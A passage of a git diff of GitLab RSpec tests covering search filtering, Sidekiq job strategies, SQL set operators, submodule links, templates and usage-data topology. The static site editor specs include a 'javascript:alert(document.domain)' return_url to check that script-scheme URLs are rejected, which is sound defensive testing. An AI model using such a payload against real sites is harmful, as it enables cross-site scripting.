+ let!(:closed_result) { create(:merge_request, :closed, source_project: project, title: 'foo closed') }
+ let(:scope) { 'merge_requests' }
+ let(:query) { 'foo' }
+
+ include_examples 'search results filtered by state'
+ end
end
describe '#issues' do
@@ -168,6 +175,15 @@ RSpec.describe Gitlab::SearchResults do
results.objects('issues')
end
+
+ context 'filtering' do
+ let(:scope) { 'issues' }
+
+ let_it_be(:closed_result) { create(:issue, :closed, project: project, title: 'foo closed') }
+ let_it_be(:opened_result) { create(:issue, :opened, project: project, title: 'foo open') }
+
+ include_examples 'search results filtered by state'
+ end
end
describe '#users' do
@@ -214,7 +230,7 @@ RSpec.describe Gitlab::SearchResults do
let!(:security_issue_5) { create(:issue, :confidential, project: project_4, title: 'Security issue 5') }
it 'does not list confidential issues for non project members' do
- results = described_class.new(non_member, limit_projects, query)
+ results = described_class.new(non_member, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -230,7 +246,7 @@ RSpec.describe Gitlab::SearchResults do
project_1.add_guest(member)
project_2.add_guest(member)
- results = described_class.new(member, limit_projects, query)
+ results = described_class.new(member, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -243,7 +259,7 @@ RSpec.describe Gitlab::SearchResults do
end
it 'lists confidential issues for author' do
- results = described_class.new(author, limit_projects, query)
+ results = described_class.new(author, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -256,7 +272,7 @@ RSpec.describe Gitlab::SearchResults do
end
it 'lists confidential issues for assignee' do
- results = described_class.new(assignee, limit_projects, query)
+ results = described_class.new(assignee, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -272,7 +288,7 @@ RSpec.describe Gitlab::SearchResults do
project_1.add_developer(member)
project_2.add_developer(member)
- results = described_class.new(member, limit_projects, query)
+ results = described_class.new(member, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -285,7 +301,7 @@ RSpec.describe Gitlab::SearchResults do
end
it 'lists all issues for admin' do
- results = described_class.new(admin, limit_projects, query)
+ results = described_class.new(admin, query, limit_projects)
issues = results.objects('issues')
expect(issues).to include issue
@@ -323,7 +339,7 @@ RSpec.describe Gitlab::SearchResults do
# Global search scope takes user authorized projects, internal projects and public projects.
limit_projects = ProjectsFinder.new(current_user: user).execute
- milestones = described_class.new(user, limit_projects, 'milestone').objects('milestones')
+ milestones = described_class.new(user, 'milestone', limit_projects).objects('milestones')
expect(milestones).to match_array([milestone_1, milestone_2, milestone_3])
end
diff --git a/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb b/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
index 0ff2dbb234a..4a952a2040a 100644
--- a/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
+++ b/spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb
@@ -49,7 +49,7 @@ RSpec.describe Gitlab::SidekiqDaemon::MemoryKiller do
expect { subject }.not_to raise_exception
end
- it 'logs exception message once and raise execption and log stop message' do
+ it 'logs exception message once and raise exception and log stop message' do
expect(Sidekiq.logger).to receive(:warn).once
.with(
class: described_class.to_s,
@@ -68,7 +68,7 @@ RSpec.describe Gitlab::SidekiqDaemon::MemoryKiller do
pid: pid,
message: 'Stopping Gitlab::SidekiqDaemon::MemoryKiller Daemon')
- expect { subject }.to raise_exception
+ expect { subject }.to raise_exception(Exception, 'My Exception')
end
it 'logs stop message once' do
@@ -402,12 +402,14 @@ RSpec.describe Gitlab::SidekiqDaemon::MemoryKiller do
subject { memory_killer.send(:rss_increase_by_jobs) }
it 'adds up individual rss_increase_by_job' do
+ allow(Gitlab::SidekiqDaemon::Monitor).to receive_message_chain(:instance, :jobs_mutex, :synchronize).and_yield
expect(Gitlab::SidekiqDaemon::Monitor).to receive_message_chain(:instance, :jobs).and_return(running_jobs)
expect(memory_killer).to receive(:rss_increase_by_job).and_return(11, 22)
expect(subject).to eq(33)
end
it 'return 0 if no job' do
+ allow(Gitlab::SidekiqDaemon::Monitor).to receive_message_chain(:instance, :jobs_mutex, :synchronize).and_yield
expect(Gitlab::SidekiqDaemon::Monitor).to receive_message_chain(:instance, :jobs).and_return({})
expect(subject).to eq(0)
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none_spec.rb
new file mode 100644
index 00000000000..3250c7cfa31
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/none_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies::None do
+ let(:fake_duplicate_job) do
+ instance_double(Gitlab::SidekiqMiddleware::DuplicateJobs::DuplicateJob)
+ end
+
+ subject(:strategy) { described_class.new(fake_duplicate_job) }
+
+ describe '#schedule' do
+ it 'yields without checking for duplicates', :aggregate_failures do
+ expect(fake_duplicate_job).not_to receive(:scheduled?)
+ expect(fake_duplicate_job).not_to receive(:duplicate?)
+ expect(fake_duplicate_job).not_to receive(:check!)
+
+ expect { |b| strategy.schedule({}, &b) }.to yield_control
+ end
+ end
+
+ describe '#perform' do
+ it 'does not delete any locks before executing', :aggregate_failures do
+ expect(fake_duplicate_job).not_to receive(:delete!)
+
+ expect { |b| strategy.perform({}, &b) }.to yield_control
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb
index 77d760d1ae3..10b18052e9a 100644
--- a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb
@@ -1,7 +1,6 @@
# frozen_string_literal: true
require 'fast_spec_helper'
-require 'timecop'
RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies::UntilExecuting do
let(:fake_duplicate_job) do
@@ -77,7 +76,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies::UntilExecut
context 'scheduled in the future' do
it 'adds the jid of the existing job to the job hash' do
- Timecop.freeze do
+ freeze_time do
allow(fake_duplicate_job).to receive(:scheduled?).twice.and_return(true)
allow(fake_duplicate_job).to receive(:scheduled_at).and_return(Time.now + time_diff)
allow(fake_duplicate_job).to receive(:options).and_return({ including_scheduled: true })
diff --git a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies_spec.rb b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies_spec.rb
index 5d37e3cb1ae..84856238aab 100644
--- a/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies_spec.rb
@@ -8,6 +8,10 @@ RSpec.describe Gitlab::SidekiqMiddleware::DuplicateJobs::Strategies do
expect(described_class.for(:until_executing)).to eq(described_class::UntilExecuting)
end
+ it 'returns the right class for `none`' do
+ expect(described_class.for(:none)).to eq(described_class::None)
+ end
+
it 'raises an UnknownStrategyError when passing an unknown key' do
expect { described_class.for(:unknown) }.to raise_error(described_class::UnknownStrategyError)
end
diff --git a/spec/lib/gitlab/sql/except_spec.rb b/spec/lib/gitlab/sql/except_spec.rb
new file mode 100644
index 00000000000..a3d6990ee2e
--- /dev/null
+++ b/spec/lib/gitlab/sql/except_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SQL::Except do
+ it_behaves_like 'SQL set operator', 'EXCEPT'
+end
diff --git a/spec/lib/gitlab/sql/intersect_spec.rb b/spec/lib/gitlab/sql/intersect_spec.rb
new file mode 100644
index 00000000000..cf076796712
--- /dev/null
+++ b/spec/lib/gitlab/sql/intersect_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SQL::Intersect do
+ it_behaves_like 'SQL set operator', 'INTERSECT'
+end
diff --git a/spec/lib/gitlab/sql/union_spec.rb b/spec/lib/gitlab/sql/union_spec.rb
index c8be83c093d..a41551e25bf 100644
--- a/spec/lib/gitlab/sql/union_spec.rb
+++ b/spec/lib/gitlab/sql/union_spec.rb
@@ -3,40 +3,5 @@
require 'spec_helper'
RSpec.describe Gitlab::SQL::Union do
- let(:relation_1) { User.where(email: 'alice@example.com').select(:id) }
- let(:relation_2) { User.where(email: 'bob@example.com').select(:id) }
-
- def to_sql(relation)
- relation.reorder(nil).to_sql
- end
-
- describe '#to_sql' do
- it 'returns a String joining relations together using a UNION' do
- union = described_class.new([relation_1, relation_2])
-
- expect(union.to_sql).to eq("(#{to_sql(relation_1)})\nUNION\n(#{to_sql(relation_2)})")
- end
-
- it 'skips Model.none segements' do
- empty_relation = User.none
- union = described_class.new([empty_relation, relation_1, relation_2])
-
- expect {User.where("users.id IN (#{union.to_sql})").to_a}.not_to raise_error
- expect(union.to_sql).to eq("(#{to_sql(relation_1)})\nUNION\n(#{to_sql(relation_2)})")
- end
-
- it 'uses UNION ALL when removing duplicates is disabled' do
- union = described_class
- .new([relation_1, relation_2], remove_duplicates: false)
-
- expect(union.to_sql).to include('UNION ALL')
- end
-
- it 'returns `NULL` if all relations are empty' do
- empty_relation = User.none
- union = described_class.new([empty_relation, empty_relation])
-
- expect(union.to_sql).to eq('NULL')
- end
- end
+ it_behaves_like 'SQL set operator', 'UNION'
end
diff --git a/spec/lib/gitlab/static_site_editor/config/file_config_spec.rb b/spec/lib/gitlab/static_site_editor/config/file_config_spec.rb
new file mode 100644
index 00000000000..594425c2dab
--- /dev/null
+++ b/spec/lib/gitlab/static_site_editor/config/file_config_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::StaticSiteEditor::Config::FileConfig do
+ subject(:config) { described_class.new }
+
+ describe '#data' do
+ subject { config.data }
+
+ it 'returns hardcoded data for now' do
+ is_expected.to match(static_site_generator: 'middleman')
+ end
+ end
+end
diff --git a/spec/lib/gitlab/static_site_editor/config/generated_config_spec.rb b/spec/lib/gitlab/static_site_editor/config/generated_config_spec.rb
new file mode 100644
index 00000000000..3433a54be9c
--- /dev/null
+++ b/spec/lib/gitlab/static_site_editor/config/generated_config_spec.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::StaticSiteEditor::Config::GeneratedConfig do
+ subject(:config) { described_class.new(repository, ref, path, return_url) }
+
+ let_it_be(:namespace) { create(:namespace, name: 'namespace') }
+ let_it_be(:root_group) { create(:group, name: 'group') }
+ let_it_be(:subgroup) { create(:group, name: 'subgroup', parent: root_group) }
+ let_it_be(:project) { create(:project, :public, :repository, name: 'project', namespace: namespace) }
+ let_it_be(:project_with_subgroup) { create(:project, :public, :repository, name: 'project', group: subgroup) }
+ let_it_be(:repository) { project.repository }
+
+ let(:ref) { 'master' }
+ let(:path) { 'README.md' }
+ let(:return_url) { 'http://example.com' }
+
+ describe '#data' do
+ subject { config.data }
+
+ it 'returns data for the frontend component' do
+ is_expected
+ .to match({
+ branch: 'master',
+ commit_id: repository.commit.id,
+ namespace: 'namespace',
+ path: 'README.md',
+ project: 'project',
+ project_id: project.id,
+ return_url: 'http://example.com',
+ is_supported_content: 'true',
+ base_url: '/namespace/project/-/sse/master%2FREADME.md',
+ merge_requests_illustration_path: %r{illustrations/merge_requests}
+ })
+ end
+
+ context 'when namespace is a subgroup' do
+ let(:repository) { project_with_subgroup.repository }
+
+ it 'returns data for the frontend component' do
+ is_expected.to include(
+ namespace: 'group/subgroup',
+ project: 'project',
+ base_url: '/group/subgroup/project/-/sse/master%2FREADME.md'
+ )
+ end
+ end
+
+ context 'when file has .md.erb extension' do
+ before do
+ repository.create_file(
+ project.creator,
+ path,
+ '',
+ message: 'message',
+ branch_name: 'master'
+ )
+ end
+
+ context 'when feature flag is enabled' do
+ let(:path) { 'FEATURE_ON.md.erb' }
+
+ before do
+ stub_feature_flags(sse_erb_support: project)
+ end
+
+ it { is_expected.to include(is_supported_content: 'true') }
+ end
+
+ context 'when feature flag is disabled' do
+ let(:path) { 'FEATURE_OFF.md.erb' }
+
+ before do
+ stub_feature_flags(sse_erb_support: false)
+ end
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+ end
+
+ context 'when file path is nested' do
+ let(:path) { 'lib/README.md' }
+
+ it { is_expected.to include(base_url: '/namespace/project/-/sse/master%2Flib%2FREADME.md') }
+ end
+
+ context 'when branch is not master' do
+ let(:ref) { 'my-branch' }
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+
+ context 'when file does not have a markdown extension' do
+ let(:path) { 'README.txt' }
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+
+ context 'when file does not have an extension' do
+ let(:path) { 'README' }
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+
+ context 'when file does not exist' do
+ let(:path) { 'UNKNOWN.md' }
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+
+ context 'when repository is empty' do
+ let(:repository) { create(:project_empty_repo).repository }
+
+ it { is_expected.to include(is_supported_content: 'false') }
+ end
+
+ context 'when return_url is not a valid URL' do
+ let(:return_url) { 'example.com' }
+
+ it { is_expected.to include(return_url: nil) }
+ end
+
+ context 'when return_url has a javascript scheme' do
+ let(:return_url) { 'javascript:alert(document.domain)' }
+
+ it { is_expected.to include(return_url: nil) }
+ end
+
+ context 'when return_url is missing' do
+ let(:return_url) { nil }
+
+ it { is_expected.to include(return_url: nil) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/static_site_editor/config_spec.rb b/spec/lib/gitlab/static_site_editor/config_spec.rb
deleted file mode 100644
index 56cdb573785..00000000000
--- a/spec/lib/gitlab/static_site_editor/config_spec.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::StaticSiteEditor::Config do
- subject(:config) { described_class.new(repository, ref, file_path, return_url) }
-
- let_it_be(:namespace) { create(:namespace, name: 'namespace') }
- let_it_be(:root_group) { create(:group, name: 'group') }
- let_it_be(:subgroup) { create(:group, name: 'subgroup', parent: root_group) }
- let_it_be(:project) { create(:project, :public, :repository, name: 'project', namespace: namespace) }
- let_it_be(:project_with_subgroup) { create(:project, :public, :repository, name: 'project', group: subgroup) }
- let_it_be(:repository) { project.repository }
-
- let(:ref) { 'master' }
- let(:file_path) { 'README.md' }
- let(:return_url) { 'http://example.com' }
-
- describe '#payload' do
- subject { config.payload }
-
- it 'returns data for the frontend component' do
- is_expected.to eq(
- branch: 'master',
- commit_id: repository.commit.id,
- namespace: 'namespace',
- path: 'README.md',
- project: 'project',
- project_id: project.id,
- return_url: 'http://example.com',
- is_supported_content: 'true',
- base_url: '/namespace/project/-/sse/master%2FREADME.md'
- )
- end
-
- context 'when namespace is a subgroup' do
- let(:repository) { project_with_subgroup.repository }
-
- it 'returns data for the frontend component' do
- is_expected.to include(
- namespace: 'group/subgroup',
- project: 'project',
- base_url: '/group/subgroup/project/-/sse/master%2FREADME.md'
- )
- end
- end
-
- context 'when file has .md.erb extension' do
- before do
- repository.create_file(
- project.creator,
- file_path,
- '',
- message: 'message',
- branch_name: 'master'
- )
- end
-
- context 'when feature flag is enabled' do
- let(:file_path) { 'FEATURE_ON.md.erb' }
-
- before do
- stub_feature_flags(sse_erb_support: project)
- end
-
- it { is_expected.to include(is_supported_content: 'true') }
- end
-
- context 'when feature flag is disabled' do
- let(:file_path) { 'FEATURE_OFF.md.erb' }
-
- before do
- stub_feature_flags(sse_erb_support: false)
- end
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
- end
-
- context 'when file path is nested' do
- let(:file_path) { 'lib/README.md' }
-
- it { is_expected.to include(base_url: '/namespace/project/-/sse/master%2Flib%2FREADME.md') }
- end
-
- context 'when branch is not master' do
- let(:ref) { 'my-branch' }
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
-
- context 'when file does not have a markdown extension' do
- let(:file_path) { 'README.txt' }
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
-
- context 'when file does not have an extension' do
- let(:file_path) { 'README' }
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
-
- context 'when file does not exist' do
- let(:file_path) { 'UNKNOWN.md' }
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
-
- context 'when repository is empty' do
- let(:repository) { create(:project_empty_repo).repository }
-
- it { is_expected.to include(is_supported_content: 'false') }
- end
-
- context 'when return_url is not a valid URL' do
- let(:return_url) { 'example.com' }
-
- it { is_expected.to include(return_url: nil) }
- end
-
- context 'when return_url has a javascript scheme' do
- let(:return_url) { 'javascript:alert(document.domain)' }
-
- it { is_expected.to include(return_url: nil) }
- end
-
- context 'when return_url is missing' do
- let(:return_url) { nil }
-
- it { is_expected.to include(return_url: nil) }
- end
- end
-end
diff --git a/spec/lib/gitlab/submodule_links_spec.rb b/spec/lib/gitlab/submodule_links_spec.rb
index c69326e12be..e2bbda81780 100644
--- a/spec/lib/gitlab/submodule_links_spec.rb
+++ b/spec/lib/gitlab/submodule_links_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Gitlab::SubmoduleLinks do
end
it 'returns no links' do
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
end
@@ -28,17 +28,28 @@ RSpec.describe Gitlab::SubmoduleLinks do
end
it 'returns no links' do
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
end
context 'when the submodule is known' do
before do
- stub_urls({ 'gitlab-foss' => 'git@gitlab.com:gitlab-org/gitlab-foss.git' })
+ gitlab_foss = 'git@gitlab.com:gitlab-org/gitlab-foss.git'
+
+ stub_urls({
+ 'ref' => { 'gitlab-foss' => gitlab_foss },
+ 'other_ref' => { 'gitlab-foss' => gitlab_foss },
+ 'signed-commits' => { 'gitlab-foss' => gitlab_foss },
+ 'special_ref' => { 'gitlab-foss' => 'git@OTHER.com:gitlab-org/gitlab-foss.git' }
+ })
end
it 'returns links and caches the by ref' do
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
cache_store = links.instance_variable_get("@cache_store")
@@ -49,13 +60,46 @@ RSpec.describe Gitlab::SubmoduleLinks do
let(:ref) { 'signed-commits' }
it 'returns links' do
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
+ end
+ end
+
+ context 'and the diff information is available' do
+ let(:old_ref) { 'other_ref' }
+ let(:diff_file) { double(old_blob: double(id: 'old-hash', path: 'gitlab-foss'), old_content_sha: old_ref) }
+
+ subject { links.for(submodule_item, ref, diff_file) }
+
+ it 'the returned links include the compare link' do
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/compare/old-hash...hash')
+ end
+ end
+
+ context 'but the submodule url has changed' do
+ let(:old_ref) { 'special_ref' }
+
+ it 'the returned links do not include the compare link' do
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
+ end
end
end
end
end
- def stub_urls(urls)
- allow(repo).to receive(:submodule_urls_for).and_return(urls)
+ def stub_urls(urls_by_ref)
+ allow(repo).to receive(:submodule_urls_for) do |ref|
+ urls_by_ref[ref] if urls_by_ref
+ end
end
end
diff --git a/spec/lib/gitlab/template/finders/global_template_finder_spec.rb b/spec/lib/gitlab/template/finders/global_template_finder_spec.rb
index e776284b3e8..e2751d194d3 100644
--- a/spec/lib/gitlab/template/finders/global_template_finder_spec.rb
+++ b/spec/lib/gitlab/template/finders/global_template_finder_spec.rb
@@ -15,9 +15,9 @@ RSpec.describe Gitlab::Template::Finders::GlobalTemplateFinder do
FileUtils.rm_rf(base_dir)
end
- subject(:finder) { described_class.new(base_dir, '', { 'General' => '', 'Bar' => 'Bar' }, exclusions: exclusions) }
+ subject(:finder) { described_class.new(base_dir, '', { 'General' => '', 'Bar' => 'Bar' }, excluded_patterns: excluded_patterns) }
- let(:exclusions) { [] }
+ let(:excluded_patterns) { [] }
describe '.find' do
context 'with a non-prefixed General template' do
@@ -38,7 +38,7 @@ RSpec.describe Gitlab::Template::Finders::GlobalTemplateFinder do
end
context 'while listed as an exclusion' do
- let(:exclusions) { %w[test-template] }
+ let(:excluded_patterns) { [%r{^test-template$}] }
it 'does not find the template without a prefix' do
expect(finder.find('test-template')).to be_nil
@@ -77,7 +77,7 @@ RSpec.describe Gitlab::Template::Finders::GlobalTemplateFinder do
end
context 'while listed as an exclusion' do
- let(:exclusions) { %w[Bar/test-template] }
+ let(:excluded_patterns) { [%r{^Bar/test-template$}] }
it 'does not find the template with a prefix' do
expect(finder.find('Bar/test-template')).to be_nil
@@ -96,6 +96,17 @@ RSpec.describe Gitlab::Template::Finders::GlobalTemplateFinder do
expect(finder.find('Bar/test-template')).to be_nil
end
end
+
+ context 'while listed as an exclusion' do
+ let(:excluded_patterns) { [%r{\.latest$}] }
+
+ it 'excludes the template matched the pattern' do
+ create_template!('test-template.latest')
+
+ expect(finder.find('test-template')).to be_present
+ expect(finder.find('test-template.latest')).to be_nil
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb b/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
index 55444114d39..26c83ed6793 100644
--- a/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
+++ b/spec/lib/gitlab/template/gitlab_ci_yml_template_spec.rb
@@ -13,6 +13,12 @@ RSpec.describe Gitlab::Template::GitlabCiYmlTemplate do
expect(all).to include('Docker')
expect(all).to include('Ruby')
end
+
+ it 'does not include Browser-Performance template in FOSS' do
+ all = subject.all.map(&:name)
+
+ expect(all).not_to include('Browser-Performance') unless Gitlab.ee?
+ end
end
describe '#content' do
diff --git a/spec/lib/gitlab/tracking/incident_management_spec.rb b/spec/lib/gitlab/tracking/incident_management_spec.rb
index e8131b4eeee..9c49c76ead7 100644
--- a/spec/lib/gitlab/tracking/incident_management_spec.rb
+++ b/spec/lib/gitlab/tracking/incident_management_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Gitlab::Tracking::IncidentManagement do
.with(
'IncidentManagement::Settings',
label,
- value || kind_of(Hash)
+ value || any_args
)
end
end
diff --git a/spec/lib/gitlab/tracking_spec.rb b/spec/lib/gitlab/tracking_spec.rb
index 65b6d9c8899..f0bf7b9964f 100644
--- a/spec/lib/gitlab/tracking_spec.rb
+++ b/spec/lib/gitlab/tracking_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe Gitlab::Tracking do
stub_application_setting(snowplow_collector_hostname: 'gitfoo.com')
stub_application_setting(snowplow_cookie_domain: '.gitfoo.com')
stub_application_setting(snowplow_app_id: '_abc123_')
- stub_application_setting(snowplow_iglu_registry_url: 'https://example.org')
end
describe '.snowplow_options' do
@@ -20,8 +19,7 @@ RSpec.describe Gitlab::Tracking do
cookieDomain: '.gitfoo.com',
appId: '_abc123_',
formTracking: true,
- linkClickTracking: true,
- igluRegistryUrl: 'https://example.org'
+ linkClickTracking: true
}
expect(subject.snowplow_options(nil)).to match(expected_fields)
diff --git a/spec/lib/gitlab/updated_notes_paginator_spec.rb b/spec/lib/gitlab/updated_notes_paginator_spec.rb
index eedc11777d4..ce6a7719fb4 100644
--- a/spec/lib/gitlab/updated_notes_paginator_spec.rb
+++ b/spec/lib/gitlab/updated_notes_paginator_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::UpdatedNotesPaginator do
let(:page_1_boundary) { page_1.last.updated_at + NotesFinder::FETCH_OVERLAP }
around do |example|
- Timecop.freeze do
+ freeze_time do
example.run
end
end
diff --git a/spec/lib/gitlab/usage_data/topology_spec.rb b/spec/lib/gitlab/usage_data/topology_spec.rb
index 7f4a25297e6..b8462e0290c 100644
--- a/spec/lib/gitlab/usage_data/topology_spec.rb
+++ b/spec/lib/gitlab/usage_data/topology_spec.rb
@@ -6,23 +6,23 @@ RSpec.describe Gitlab::UsageData::Topology do
include UsageDataHelpers
describe '#topology_usage_data' do
- subject { described_class.new.topology_usage_data }
+ subject { topology.topology_usage_data }
+
+ let(:topology) { described_class.new }
+ let(:prometheus_client) { Gitlab::PrometheusClient.new('http://localhost:9090') }
+ let(:fallback) { {} }
before do
# this pins down time shifts when benchmarking durations
allow(Process).to receive(:clock_gettime).and_return(0)
end
- context 'when embedded Prometheus server is enabled' do
- before do
- expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(true)
- expect(Gitlab::Prometheus::Internal).to receive(:uri).and_return('http://prom:9090')
- end
-
+ shared_examples 'query topology data from Prometheus' do
context 'tracking node metrics' do
it 'contains node level metrics for each instance' do
- expect_prometheus_api_to(
+ expect_prometheus_client_to(
receive_app_request_volume_query,
+ receive_query_apdex_ratio_query,
receive_node_memory_query,
receive_node_memory_utilization_query,
receive_node_cpu_count_query,
@@ -38,6 +38,7 @@ RSpec.describe Gitlab::UsageData::Topology do
expect(subject[:topology]).to eq({
duration_s: 0,
application_requests_per_hour: 36,
+ query_apdex_weekly_average: 0.996,
failures: [],
nodes: [
{
@@ -105,8 +106,9 @@ RSpec.describe Gitlab::UsageData::Topology do
context 'and some node memory metrics are missing' do
it 'removes the respective entries and includes the failures' do
- expect_prometheus_api_to(
+ expect_prometheus_client_to(
receive_app_request_volume_query(result: []),
+ receive_query_apdex_ratio_query(result: []),
receive_node_memory_query(result: []),
receive_node_memory_utilization_query(result: []),
receive_node_cpu_count_query,
@@ -123,6 +125,7 @@ RSpec.describe Gitlab::UsageData::Topology do
duration_s: 0,
failures: [
{ 'app_requests' => 'empty_result' },
+ { 'query_apdex' => 'empty_result' },
{ 'node_memory' => 'empty_result' },
{ 'node_memory_utilization' => 'empty_result' },
{ 'service_rss' => 'empty_result' },
@@ -243,8 +246,9 @@ RSpec.describe Gitlab::UsageData::Topology do
end
it 'normalizes equivalent instance values and maps them to the same node' do
- expect_prometheus_api_to(
+ expect_prometheus_client_to(
receive_app_request_volume_query(result: []),
+ receive_query_apdex_ratio_query(result: []),
receive_node_memory_query(result: node_memory_response),
receive_node_memory_utilization_query(result: node_memory_utilization_response),
receive_node_cpu_count_query(result: []),
@@ -261,6 +265,7 @@ RSpec.describe Gitlab::UsageData::Topology do
duration_s: 0,
failures: [
{ 'app_requests' => 'empty_result' },
+ { 'query_apdex' => 'empty_result' },
{ 'node_cpus' => 'empty_result' },
{ 'node_cpu_utilization' => 'empty_result' },
{ 'service_uss' => 'empty_result' },
@@ -307,8 +312,9 @@ RSpec.describe Gitlab::UsageData::Topology do
context 'and node metrics are missing but service metrics exist' do
it 'still reports service metrics' do
- expect_prometheus_api_to(
+ expect_prometheus_client_to(
receive_app_request_volume_query(result: []),
+ receive_query_apdex_ratio_query(result: []),
receive_node_memory_query(result: []),
receive_node_memory_utilization_query(result: []),
receive_node_cpu_count_query(result: []),
@@ -325,6 +331,7 @@ RSpec.describe Gitlab::UsageData::Topology do
duration_s: 0,
failures: [
{ 'app_requests' => 'empty_result' },
+ { 'query_apdex' => 'empty_result' },
{ 'node_memory' => 'empty_result' },
{ 'node_memory_utilization' => 'empty_result' },
{ 'node_cpus' => 'empty_result' },
@@ -380,8 +387,9 @@ RSpec.describe Gitlab::UsageData::Topology do
end
it 'filters out unknown service data and reports the unknown services as a failure' do
- expect_prometheus_api_to(
+ expect_prometheus_client_to(
receive_app_request_volume_query(result: []),
+ receive_query_apdex_ratio_query(result: []),
receive_node_memory_query(result: []),
receive_node_memory_utilization_query(result: []),
receive_node_cpu_count_query(result: []),
@@ -404,24 +412,25 @@ RSpec.describe Gitlab::UsageData::Topology do
context 'and an error is raised when querying Prometheus' do
context 'without timeout failures' do
it 'returns empty result and executes subsequent queries as usual' do
- expect_prometheus_api_to receive(:query)
- .at_least(:once)
- .and_raise(Gitlab::PrometheusClient::ConnectionError)
+ expect_prometheus_client_to(
+ receive(:query).at_least(:once).and_raise(Gitlab::PrometheusClient::UnexpectedResponseError)
+ )
expect(subject[:topology]).to eq({
duration_s: 0,
failures: [
- { 'app_requests' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'node_memory' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'node_memory_utilization' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'node_cpus' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'node_cpu_utilization' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'node_uname_info' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'service_rss' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'service_uss' => 'Gitlab::PrometheusClient::ConnectionError' },
